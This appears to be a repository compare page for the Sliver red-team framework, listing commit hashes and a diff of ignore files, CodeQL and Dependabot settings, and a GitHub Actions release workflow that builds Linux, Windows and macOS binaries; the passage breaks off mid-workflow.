ab1b72f410 | ||
|
|
fd83024e4b | ||
|
|
18ee8e5133 | ||
|
|
5a96962611 | ||
|
|
85b592b2b9 | ||
|
|
91a569f389 | ||
|
|
b646ca835c | ||
|
|
26993f797c | ||
|
|
ec743b2e85 | ||
|
|
0ac43c69d6 | ||
|
|
a2f8bac4b1 | ||
|
|
2c9643b404 | ||
|
|
1239b5fd87 | ||
|
|
d904a74d14 | ||
|
|
60aaeebe0b | ||
|
|
000ecb51eb | ||
|
|
fbddd67930 | ||
|
|
10f7b000b4 | ||
|
|
2f3ebbfcd5 | ||
|
|
b54d97b497 | ||
|
|
eedfb272a5 | ||
|
|
47857e903c | ||
|
|
0da314d925 | ||
|
|
c132b14272 | ||
|
|
f6b7e07653 | ||
|
|
60cbf09520 | ||
|
|
0090e8dfd8 | ||
|
|
099753fa74 | ||
|
|
6685bf486e | ||
|
|
6d5a288626 | ||
|
|
3bf157b29d | ||
|
|
146be0e814 | ||
|
|
065fc3ffa6 | ||
|
|
d3da84731f | ||
|
|
b451d90a33 | ||
|
|
c01ace4a67 | ||
|
|
e8d22af3bc | ||
|
|
50f83c958b | ||
|
|
6ac9a16aa7 | ||
|
|
caad9de26c | ||
|
|
70805d04f7 | ||
|
|
a3b98716a7 | ||
|
|
24f6a9d8ab | ||
|
|
d6b5571c7e | ||
|
|
c0b08cbd42 | ||
|
|
d567a21f8c | ||
|
|
105d80cdb7 | ||
|
|
d1627c9030 | ||
|
|
661732012d | ||
|
|
f55f248fbc | ||
|
|
6817c5a117 | ||
|
|
6b31d6985a | ||
|
|
47357c346a | ||
|
|
970ff6b80b | ||
|
|
126dc44c44 | ||
|
|
4abc395485 | ||
|
|
0f5284fb2d | ||
|
|
0f4dc27498 | ||
|
|
7ea5039e9a | ||
|
|
b1e4a016d4 | ||
|
|
785810ebea | ||
|
|
5779f337d0 | ||
|
|
ab93f0d1c6 | ||
|
|
d4cc59d1e6 | ||
|
|
03d1f92441 | ||
|
|
77ddf234bd | ||
|
|
a53bc17665 | ||
|
|
1682f58801 | ||
|
|
3d4e76990c | ||
|
|
d97fb249a8 | ||
|
|
e8714dbdec | ||
|
|
f69a4f8b92 | ||
|
|
c2925a8a57 | ||
|
|
6484b0c5a6 | ||
|
|
338b8bb5b2 | ||
|
|
15ca3871dd | ||
|
|
f11a1333bb | ||
|
|
4a2c9cb50e | ||
|
|
c8928b4864 | ||
|
|
13ecb9782b | ||
|
|
05ce79e986 | ||
|
|
a3c7d057f6 | ||
|
|
b3277d0f4c | ||
|
|
1f0e9d6995 | ||
|
|
478f677f55 | ||
|
|
7463298de1 | ||
|
|
7306d439e1 | ||
|
|
66d6e8043a | ||
|
|
11505d8f94 | ||
|
|
452d7b7fce | ||
|
|
606c5ac948 | ||
|
|
8ee4f786b4 | ||
|
|
79a96368d0 | ||
|
|
8176068bb5 | ||
|
|
ff8de9922e | ||
|
|
13cbf53851 | ||
|
|
56f339c8a3 | ||
|
|
e31fd56730 | ||
|
|
9af5d9126f | ||
|
|
d9499c26a1 | ||
|
|
5bd101bc47 | ||
|
|
0e1d21bb28 | ||
|
|
1f5a950752 | ||
|
|
3a1ff3fa52 | ||
|
|
9db930b10f | ||
|
|
2fa6bc2e59 | ||
|
|
2e3f92ed22 | ||
|
|
c552a2fd9f | ||
|
|
e729576a6d | ||
|
|
c9f04b0a1c | ||
|
|
a439c39d64 | ||
|
|
0471a219c4 | ||
|
|
6631727242 | ||
|
|
c21171d739 | ||
|
|
98aa4ed58c | ||
|
|
4ad1f1a561 | ||
|
|
d0a38bb792 | ||
|
|
ee8603b30c | ||
|
|
11ea01819f | ||
|
|
da39a82b83 | ||
|
|
3ce730a469 | ||
|
|
f52ee8c28f | ||
|
|
150511df9b | ||
|
|
3e8c3fc02e | ||
|
|
019d0d40f6 | ||
|
|
268aa95169 | ||
|
|
7775880277 | ||
|
|
ba541ffd43 | ||
|
|
a60cc86c9a | ||
|
|
0099e06cc6 | ||
|
|
b0fdec2700 | ||
|
|
8419cf7442 | ||
|
|
d470543f98 | ||
|
|
84d41f063b | ||
|
|
c876f34cd0 | ||
|
|
7ba3f87afb | ||
|
|
008f9c6fde | ||
|
|
80e6c2a24e | ||
|
|
69842674d2 | ||
|
|
b2f9ccfab6 | ||
|
|
358b6ab20d | ||
|
|
268db3ce00 | ||
|
|
03dfb2f5d9 | ||
|
|
d4e809d889 | ||
|
|
6f6fd8f0f5 | ||
|
|
f5e374293c | ||
|
|
8f12e35124 | ||
|
|
b27809d9ba | ||
|
|
377d56bda3 | ||
|
|
4bcb0cb61f | ||
|
|
9d6870e792 | ||
|
|
93b1e3a7b4 | ||
|
|
90f799a6f2 | ||
|
|
251423bc28 | ||
|
|
03957f4d01 | ||
|
|
a7d07e372a | ||
|
|
364b0d6f57 | ||
|
|
52ef179988 | ||
|
|
79a50d24fe | ||
|
|
4e23091147 | ||
|
|
98e7f7abf8 | ||
|
|
92e833a481 | ||
|
|
b442f95a7b | ||
|
|
da8d5b8a0c | ||
|
|
3151b559a6 | ||
|
|
b02489a5d3 | ||
|
|
eb57802c28 | ||
|
|
767644ddc3 | ||
|
|
185913c6eb | ||
|
|
e3093bee6e | ||
|
|
f6014393be | ||
|
|
90de40f1ee | ||
|
|
43548ad4b2 | ||
|
|
09358666a1 | ||
|
|
213ad330c5 | ||
|
|
f7d7bdc677 | ||
|
|
c292ac4b28 | ||
|
|
f576c138c9 | ||
|
|
216054e90c | ||
|
|
62e311fb6f | ||
|
|
90de32b6f2 | ||
|
|
cc2a5bb622 | ||
|
|
b8b20711fe | ||
|
|
3d7889183a | ||
|
|
d2297f9423 | ||
|
|
de7fd664cd | ||
|
|
f87582462d | ||
|
|
1549b894fa | ||
|
|
32119e09dc | ||
|
|
4dd5319987 | ||
|
|
860452c418 | ||
|
|
87fba59c57 | ||
|
|
ab58a67df4 | ||
|
|
424db7bdca | ||
|
|
cec1451dec | ||
|
|
4d64866a15 | ||
|
|
1d859f99c8 | ||
|
|
e79e3daf7d | ||
|
|
1a632f48ff | ||
|
|
83adb36bbd | ||
|
|
686452a65e | ||
|
|
e436e9ca89 | ||
|
|
db29281233 | ||
|
|
65cea9eeb2 | ||
|
|
06a44f980b | ||
|
|
952f22583e | ||
|
|
5429c8d45a | ||
|
|
9e8bfb62d7 | ||
|
|
45ef2a27a9 | ||
|
|
93a1492a05 | ||
|
|
b554b49b42 | ||
|
|
e7d8495cb0 | ||
|
|
2ebb2734bf | ||
|
|
c3f5f2bf85 | ||
|
|
515b927791 | ||
|
|
35489e974f | ||
|
|
e2cf688044 | ||
|
|
79772297bc | ||
|
|
7d4de43559 | ||
|
|
7df290386e | ||
|
|
fc5673b33e | ||
|
|
31a53a4cba | ||
|
|
8967bcf35d | ||
|
|
6d4b28731e | ||
|
|
235201f701 | ||
|
|
d1135d1d68 | ||
|
|
a998a571f9 | ||
|
|
ce3cee731c | ||
|
|
9e924efcb2 | ||
|
|
23309233a8 | ||
|
|
e107382d07 | ||
|
|
9ea9d1add8 | ||
|
|
bc5a622944 | ||
|
|
c24a37edcd | ||
|
|
536171e8ac | ||
|
|
4d17f0ed66 | ||
|
|
1e5bf9a39c | ||
|
|
18cb8d142d | ||
|
|
b3467e0512 | ||
|
|
8a1845baf8 | ||
|
|
00a2faf137 | ||
|
|
6fb3835e14 | ||
|
|
f3144eb919 | ||
|
|
83c5fad8eb | ||
|
|
bfe2013eb5 | ||
|
|
0923de192c | ||
|
|
c41e9dead0 | ||
|
|
e989ba581b | ||
|
|
7f9657f32d | ||
|
|
8cc3f1984a | ||
|
|
3c07043531 | ||
|
|
b60e826a02 | ||
|
|
d337d4f13c | ||
|
|
80b40341d8 | ||
|
|
c4101f502d | ||
|
|
75dd1b1a26 | ||
|
|
359746120a | ||
|
|
b08728765d | ||
|
|
69d99e28fd | ||
|
|
a811b53561 | ||
|
|
cbfae11876 | ||
|
|
b7a814f0c5 | ||
|
|
572e717634 | ||
|
|
4bf7246b0a | ||
|
|
febf50e464 | ||
|
|
59bdaa7469 | ||
|
|
cce67c289a | ||
|
|
97e7df764c | ||
|
|
33e03df1c9 | ||
|
|
d8fc1244d6 | ||
|
|
93e5d21941 | ||
|
|
7f31a9ea3e | ||
|
|
242afb0011 | ||
|
|
a427f86c4e | ||
|
|
93935b1691 | ||
|
|
a13a4dc12e | ||
|
|
4fa4562bea | ||
|
|
61b86a4a9a | ||
|
|
4c2a309054 | ||
|
|
465eb8cfee | ||
|
|
55da1a5dde | ||
|
|
bf44f379ec | ||
|
|
e5430caf8d | ||
|
|
60c5c2ee89 | ||
|
|
9cf607d155 | ||
|
|
e3a6b237f1 | ||
|
|
2c70ff1291 | ||
|
|
4a3a2a7be3 | ||
|
|
2a8f9bca18 | ||
|
|
d46a67c840 | ||
|
|
8b99a98d5e | ||
|
|
043eda5bc4 | ||
|
|
a51d93cf58 | ||
|
|
44abb0e03b | ||
|
|
09d94ab559 | ||
|
|
1420ebd447 | ||
|
|
96a531f9d4 | ||
|
|
7ef4923fc0 | ||
|
|
3f83761a90 | ||
|
|
f3bdb5cadc | ||
|
|
fd3df6a3f3 | ||
|
|
3c6b60bc3e | ||
|
|
d42373e545 | ||
|
|
76e4f430d0 | ||
|
|
ab8d431c39 | ||
|
|
e4ad404822 | ||
|
|
9e6a771a1a | ||
|
|
94eb13610b | ||
|
|
394fdb4a1e | ||
|
|
69ebbcb728 | ||
|
|
5c65da3567 | ||
|
|
1c67a11c29 | ||
|
|
755bed951b | ||
|
|
7ba4e5bec0 | ||
|
|
5d8d49461c | ||
|
|
cadc717963 | ||
|
|
ce4a7c7dcc | ||
|
|
ab8ff6a06a | ||
|
|
3b93554df2 | ||
|
|
b688b7b121 | ||
|
|
3ce603a3c7 | ||
|
|
9d3b6564f8 | ||
|
|
9cdb3e6def | ||
|
|
2df7f1319f | ||
|
|
4ad24ac3a0 | ||
|
|
3d9df17d43 | ||
|
|
d53c646af0 | ||
|
|
601c1eea64 | ||
|
|
12ee96451a | ||
|
|
cc304ba85a | ||
|
|
a743a72500 | ||
|
|
6c75b08648 | ||
|
|
d928ca58dd | ||
|
|
c18ba5fcb8 | ||
|
|
0e9545ae1c | ||
|
|
e6d1041068 | ||
|
|
85265d663f | ||
|
|
7a38ddffb6 | ||
|
|
5b160e358e | ||
|
|
f94f0fc938 | ||
|
|
714499b21b | ||
|
|
9be7ccb209 | ||
|
|
a43850333b | ||
|
|
f6351f725a | ||
|
|
1079a559ab | ||
|
|
5bcf9ba893 | ||
|
|
ebfa3ca86c | ||
|
|
6c62dfb486 | ||
|
|
76cd61a27d | ||
|
|
35d692b4ca | ||
|
|
a1058aa4f0 | ||
|
|
ae3c082498 | ||
|
|
d3a107cf43 | ||
|
|
ee5acfe47b | ||
|
|
10c3062016 | ||
|
|
5e80dfcfb9 | ||
|
|
5bcfa4c249 | ||
|
|
ac3e29a287 | ||
|
|
a3af100db0 | ||
|
|
7489c69962 | ||
|
|
3859b3493e | ||
|
|
874023b8c3 | ||
|
|
5f971b36d4 | ||
|
|
b2451c4bfb | ||
|
|
2af5195c85 | ||
|
|
bff100ad31 | ||
|
|
b20ee295bb | ||
|
|
249f9355f2 | ||
|
|
3793fae878 | ||
|
|
3e8ce33a49 | ||
|
|
2ea95543a9 | ||
|
|
1857b9c0ed | ||
|
|
9e56e9ac4b | ||
|
|
106b2a7c5c | ||
|
|
8d3cba07ef | ||
|
|
43398e2eee | ||
|
|
8d8e902a72 | ||
|
|
28c7460983 | ||
|
|
084faf44ca | ||
|
|
c616f7a9b2 | ||
|
|
53d6d14c72 | ||
|
|
ea32922663 | ||
|
|
7321f62778 | ||
|
|
cee5966e77 | ||
|
|
b800448670 | ||
|
|
9a5d6948fe | ||
|
|
2e4ab0a3bb | ||
|
|
c06c87bf3a | ||
|
|
bfc645846e | ||
|
|
7a56c9423c | ||
|
|
249fee093d | ||
|
|
3ee1f5a7c5 | ||
|
|
80e42b307d | ||
|
|
13bfc10223 | ||
|
|
32957cb9bd | ||
|
|
de49318845 | ||
|
|
1696184d6b | ||
|
|
8e215c2bd0 | ||
|
|
94147ca1ab | ||
|
|
71c921b36e | ||
|
|
993996bc91 | ||
|
|
1c81b2baae | ||
|
|
b01376d3e6 | ||
|
|
a344d8b972 | ||
|
|
6070997279 | ||
|
|
fa2ab0bad2 | ||
|
|
ad5e3024d6 | ||
|
|
de8acdccc5 | ||
|
|
48dc187e50 | ||
|
|
b8671cc160 | ||
|
|
f318c002de | ||
|
|
15a8aa7cd5 | ||
|
|
f9c91f1ad7 | ||
|
|
69aefd6ab2 | ||
|
|
4cf45b100b | ||
|
|
a2aa9c2daf | ||
|
|
1cace21960 | ||
|
|
f02783206f | ||
|
|
dbe6cb8843 | ||
|
|
dc74940cb9 | ||
|
|
16ee381eae | ||
|
|
1379ff6afe | ||
|
|
91d277baae | ||
|
|
330e0e7bdd | ||
|
|
0df8f9049d | ||
|
|
d213728abe | ||
|
|
1b2f0e79f8 | ||
|
|
f6f68dc93c | ||
|
|
c47b024ea9 | ||
|
|
dedcb42c0f | ||
|
|
43323aed38 | ||
|
|
6e8949cb13 | ||
|
|
3ab6061bb8 | ||
|
|
f28010137d | ||
|
|
7ec5b83227 | ||
|
|
c69486cc40 | ||
|
|
e69cf6a51e | ||
|
|
f056fdf893 | ||
|
|
f49c83961e | ||
|
|
7993b4c2c6 | ||
|
|
35b28941a3 | ||
|
|
543950ad8a | ||
|
|
e4b036feb9 | ||
|
|
acb079ed07 | ||
|
|
c918499595 | ||
|
|
8349abb7b2 | ||
|
|
2fa02e5f35 | ||
|
|
02b6c6eb98 | ||
|
|
77565919df | ||
|
|
8095fc8239 | ||
|
|
4dfd1842fc | ||
|
|
7a3be8f0be | ||
|
|
a7cacc5aac | ||
|
|
0eecbd2d6c | ||
|
|
7967e1f4f8 | ||
|
|
9cabf02b0d | ||
|
|
e1518853da | ||
|
|
65dd048ad1 | ||
|
|
a447dd1331 | ||
|
|
93744799dc | ||
|
|
b8b1574ab5 | ||
|
|
eb4573d103 | ||
|
|
e526554797 | ||
|
|
10dde3d3d1 | ||
|
|
31ed94b869 | ||
|
|
6fbde7400d | ||
|
|
2aadc4bb1e | ||
|
|
e110fc4fb7 | ||
|
|
edcaf11557 | ||
|
|
d20c86c227 | ||
|
|
c11055e0f6 | ||
|
|
0ccd25d450 | ||
|
|
9e3aaa9976 | ||
|
|
fce6fd61d7 | ||
|
|
209bbd9b8b | ||
|
|
410f0756d2 | ||
|
|
633a423d35 | ||
|
|
72b15b1453 | ||
|
|
e600f9fa56 | ||
|
|
7c66ce8715 | ||
|
|
1231b8ce03 | ||
|
|
c074008efb | ||
|
|
9684689b1f | ||
|
|
ee5bc3809c | ||
|
|
0ecb28c6a5 | ||
|
|
cb6f4327d8 | ||
|
|
37a09d5167 | ||
|
|
21d61eca59 | ||
|
|
562a40dfac | ||
|
|
5e48f3bdf9 | ||
|
|
e49dbf7dbe | ||
|
|
ea6a17c3e6 | ||
|
|
1c62152827 | ||
|
|
516f05622f | ||
|
|
40cb216d5f | ||
|
|
bd8229831c | ||
|
|
f4d5f2be8f | ||
|
|
f4030ac3fb | ||
|
|
f54239d869 | ||
|
|
714d75edfd | ||
|
|
fb773e8ddf | ||
|
|
b37b6c3f84 | ||
|
|
c8d186c9ba | ||
|
|
5de3b3fca5 | ||
|
|
f1e0af5453 | ||
|
|
672c0e29d0 | ||
|
|
4e0cd2b5e7 | ||
|
|
a378db33ca | ||
|
|
28d0e445c3 | ||
|
|
866e1cf0b6 | ||
|
|
e957b41eeb | ||
|
|
985b213dc5 | ||
|
|
df33a6922f | ||
|
|
6b5e65df3d | ||
|
|
f847e06119 | ||
|
|
79b56f477d | ||
|
|
54af39cc11 | ||
|
|
2fe0a61c70 | ||
|
|
ce8f1b183e | ||
|
|
a392cbe0d2 | ||
|
|
94384b00b9 | ||
|
|
805bfda559 | ||
|
|
781cf5c883 | ||
|
|
84cbdb8bb6 | ||
|
|
f3550619f5 | ||
|
|
b79b37df7e | ||
|
|
950e970c91 | ||
|
|
1a32f5c173 | ||
|
|
7dc663f7c7 | ||
|
|
7cbec86c3d | ||
|
|
77376fc592 | ||
|
|
5c59e1fdef | ||
|
|
6a96b35de6 | ||
|
|
6c02971b54 | ||
|
|
a23da07fb8 | ||
|
|
6ddf846bc7 | ||
|
|
8c27bd6b1f | ||
|
|
308c6952dc | ||
|
|
7361e50a00 | ||
|
|
21aebb9c7e | ||
|
|
ba43f1d83b | ||
|
|
e4bdad20df | ||
|
|
8c749d4b9c | ||
|
|
d0a85da671 | ||
|
|
32a3305e44 | ||
|
|
8bfca6abe7 | ||
|
|
f750575105 | ||
|
|
e8bda7e111 | ||
|
|
63b90eb212 | ||
|
|
415ab63a7c | ||
|
|
d927160d52 | ||
|
|
5cd0d54e95 | ||
|
|
b457674d2e | ||
|
|
bd141ac51f | ||
|
|
7f92148109 | ||
|
|
f7dd928511 | ||
|
|
675e289ab3 | ||
|
|
5033794a8d | ||
|
|
0564c685f3 | ||
|
|
601752d7a0 | ||
|
|
112a338d07 | ||
|
|
e9eefae46c | ||
|
|
4ce79a6dd0 | ||
|
|
e26802989e | ||
|
|
77eea586cc | ||
|
|
c26eae1776 | ||
|
|
df570f7711 | ||
|
|
e8b60f1fbd | ||
|
|
8ced159505 | ||
|
|
cace8d0f73 | ||
|
|
ae2219dfb9 | ||
|
|
d4b3ec9dac | ||
|
|
8a6a6424a5 | ||
|
|
a54eba95ef | ||
|
|
92a188d934 | ||
|
|
e0962c711c | ||
|
|
9343b2a2ce | ||
|
|
55674a16fd | ||
|
|
a5e1de966e | ||
|
|
6637f3932c | ||
|
|
547e33c65a | ||
|
|
809dedc98f | ||
|
|
09b699dcdb | ||
|
|
6965035f64 | ||
|
|
69da0435cc | ||
|
|
ddcc90836e | ||
|
|
a6545161c0 | ||
|
|
3e7217ece9 | ||
|
|
5707fe7bc6 | ||
|
|
579a82c23b | ||
|
|
fdd0d036f2 | ||
|
|
c77a0c0615 | ||
|
|
c032c0839a | ||
|
|
1d2d1c1f9d | ||
|
|
69133c1b27 | ||
|
|
d56de497b0 | ||
|
|
88f72a7cbd | ||
|
|
cfd390b677 | ||
|
|
16da415f3c | ||
|
|
baab7d86c7 | ||
|
|
343296d087 | ||
|
|
7a2764dc6f | ||
|
|
95fd407b6e | ||
|
|
3f3e4ee391 | ||
|
|
cc7c5a0e86 | ||
|
|
cef4c280a0 | ||
|
|
5e0b8d4901 | ||
|
|
85afff9193 | ||
|
|
0364b677ca | ||
|
|
bb9cb861ef | ||
|
|
33ffca6a43 | ||
|
|
64ab365c03 | ||
|
|
1e64de8430 | ||
|
|
0deebe53c9 | ||
|
|
f61648c62d | ||
|
|
2a0b9190ba | ||
|
|
deef600aff | ||
|
|
6071ac85db | ||
|
|
479e062906 | ||
|
|
d218081072 | ||
|
|
e79b8213a5 | ||
|
|
d81a647477 | ||
|
|
67e742381d | ||
|
|
a50fd655ce | ||
|
|
ba8f52e07b | ||
|
|
8930250272 | ||
|
|
7cc5545363 | ||
|
|
f6de8a0ddc | ||
|
|
d45abfae78 | ||
|
|
c91bcb6f14 | ||
|
|
87bbe0d10c | ||
|
|
8e8428bd7c | ||
|
|
1a85e397a9 | ||
|
|
8dccad2656 | ||
|
|
40fd4423ae | ||
|
|
ea7632c7c5 | ||
|
|
1a4db2352f | ||
|
|
843ee11f73 | ||
|
|
599956fc94 | ||
|
|
613aaba352 | ||
|
|
71e10e59d0 | ||
|
|
065c0c2f23 | ||
|
|
1a5335ab9e | ||
|
|
507675ac97 | ||
|
|
b3908cb6ed | ||
|
|
0aef00efd6 | ||
|
|
5803d422f9 | ||
|
|
37d2f610d4 | ||
|
|
516f464b0f | ||
|
|
5295e5be6f | ||
|
|
66e628ecf6 | ||
|
|
0a4fd12bc7 | ||
|
|
476240fb02 | ||
|
|
6b02f195ac | ||
|
|
aafd9ef827 | ||
|
|
82b9c5f8c3 | ||
|
|
10bc6095ea | ||
|
|
55bd75c377 | ||
|
|
cc6eb54844 | ||
|
|
8ce1732e90 | ||
|
|
85f5a11e8d | ||
|
|
aeeccbd64d | ||
|
|
9508092f11 | ||
|
|
3ce83c049a | ||
|
|
8e23f3b425 | ||
|
|
200573c2e8 | ||
|
|
f41a163d3a | ||
|
|
c6d7ab07d0 | ||
|
|
9d51f18670 | ||
|
|
58a56a077f | ||
|
|
674be86f89 | ||
|
|
7444c3d926 | ||
|
|
606effa1b1 | ||
|
|
742ae73a12 | ||
|
|
2f880d99ee | ||
|
|
d836e2be17 | ||
|
|
1367d1b714 | ||
|
|
a9639b0873 | ||
|
|
abac7067fa | ||
|
|
53b57c8cf9 | ||
|
|
d86661a060 | ||
|
|
75ee37fd2e | ||
|
|
3921a192b6 | ||
|
|
e77aa319bb | ||
|
|
375376813a | ||
|
|
743973c9a7 | ||
|
|
ce8cc8ce1d |
No files matched your search
+15
-21
@@ -1,27 +1,21 @@
|
||||
assets/*.zip
|
||||
assets/darwin
|
||||
assets/linux
|
||||
assets/windows
|
||||
/server/assets/fs/**.zip
|
||||
|
||||
server/assets/fs/**.zip
|
||||
/*.sdk.tar.xz
|
||||
|
||||
sliver-server
|
||||
sliver-server.exe
|
||||
/sliver-server
|
||||
/sliver-server.exe
|
||||
|
||||
sliver-client
|
||||
sliver-client.exe
|
||||
/sliver-client
|
||||
/sliver-client.exe
|
||||
|
||||
gui/
|
||||
gui/*
|
||||
/.vscode/
|
||||
/.vscode/*
|
||||
|
||||
.vscode/
|
||||
.vscode/*
|
||||
/.github/
|
||||
/.github/*
|
||||
|
||||
.github/
|
||||
.github/*
|
||||
|
||||
build.py
|
||||
LICENSE
|
||||
SECURITY.md
|
||||
README.md
|
||||
CONTRIBUTING.md
|
||||
/build.py
|
||||
/LICENSE
|
||||
/SECURITY.md
|
||||
/README.md
|
||||
/CONTRIBUTING.md
|
||||
@@ -0,0 +1 @@
|
||||
* @BishopFox/red-team
|
||||
@@ -2,4 +2,7 @@ name: "CodeQL Security Checks"
|
||||
|
||||
queries:
|
||||
- name: Security and Quality
|
||||
uses: security-extended
|
||||
uses: security-extended
|
||||
paths:
|
||||
- server
|
||||
- implant
|
||||
@@ -0,0 +1,16 @@
|
||||
# Basic set up for three package managers
|
||||
|
||||
version: 2
|
||||
updates:
|
||||
|
||||
# Maintain dependencies for GitHub Actions
|
||||
- package-ecosystem: "github-actions"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
|
||||
# Maintain dependencies for go
|
||||
- package-ecosystem: "gomod"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
+110
-128
@@ -2,172 +2,154 @@ name: Release
|
||||
|
||||
on:
|
||||
push:
|
||||
tags: v[1-9]+.[0-9]+.[0-9]+
|
||||
branches: master
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master, goreleaser]
|
||||
|
||||
jobs:
|
||||
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
|
||||
- name: Go 1.16
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Protoc
|
||||
env:
|
||||
PROTOC_VER: 3.11.4
|
||||
run: |
|
||||
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Protoc-gen-go
|
||||
env:
|
||||
PROTOC_GEN_GO_VER: 1.3.5
|
||||
run: |
|
||||
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
- name: Make
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Remove Vendor
|
||||
run: rm -rf ./vendor/
|
||||
- name: Linux Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: linux
|
||||
path: ./sliver-*
|
||||
|
||||
- name: Make
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Linux Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: linux
|
||||
path: ./sliver-*
|
||||
- name: Make Windows
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _windows
|
||||
run: |
|
||||
make clean
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Make Windows
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: windows
|
||||
path: ./sliver-*
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: windows
|
||||
path: ./sliver-*
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
|
||||
- name: Go 1.16
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.16'
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Protoc
|
||||
env:
|
||||
PROTOC_VER: 3.11.4
|
||||
run: |
|
||||
wget -O protoc-${PROTOC_VER}-osx-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-osx-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-osx-x86_64.zip \
|
||||
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Protoc-gen-go
|
||||
env:
|
||||
PROTOC_GEN_GO_VER: 1.3.5
|
||||
run: |
|
||||
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
- name: Make AMD64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos
|
||||
run: make macos
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
- name: Make ARM64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos-arm64
|
||||
run: make macos-arm64
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Remove Vendor
|
||||
run: rm -rf ./vendor/
|
||||
|
||||
- name: Make AMD64
|
||||
run: make macos
|
||||
|
||||
# - name: Make ARM64
|
||||
# run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: macos
|
||||
path: ./sliver-*
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: macos
|
||||
path: ./sliver-*
|
||||
|
||||
tagged-release:
|
||||
|
||||
needs: [linux-windows-build, macos-build]
|
||||
|
||||
name: "Tagged Release"
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
- run: mkdir -p ./release && mkdir -p ./artifacts
|
||||
- uses: actions/download-artifact@v2
|
||||
with:
|
||||
path: ./artifacts
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v3
|
||||
with:
|
||||
path: ./builds
|
||||
|
||||
# Linux
|
||||
- name: Package Linux
|
||||
run: |
|
||||
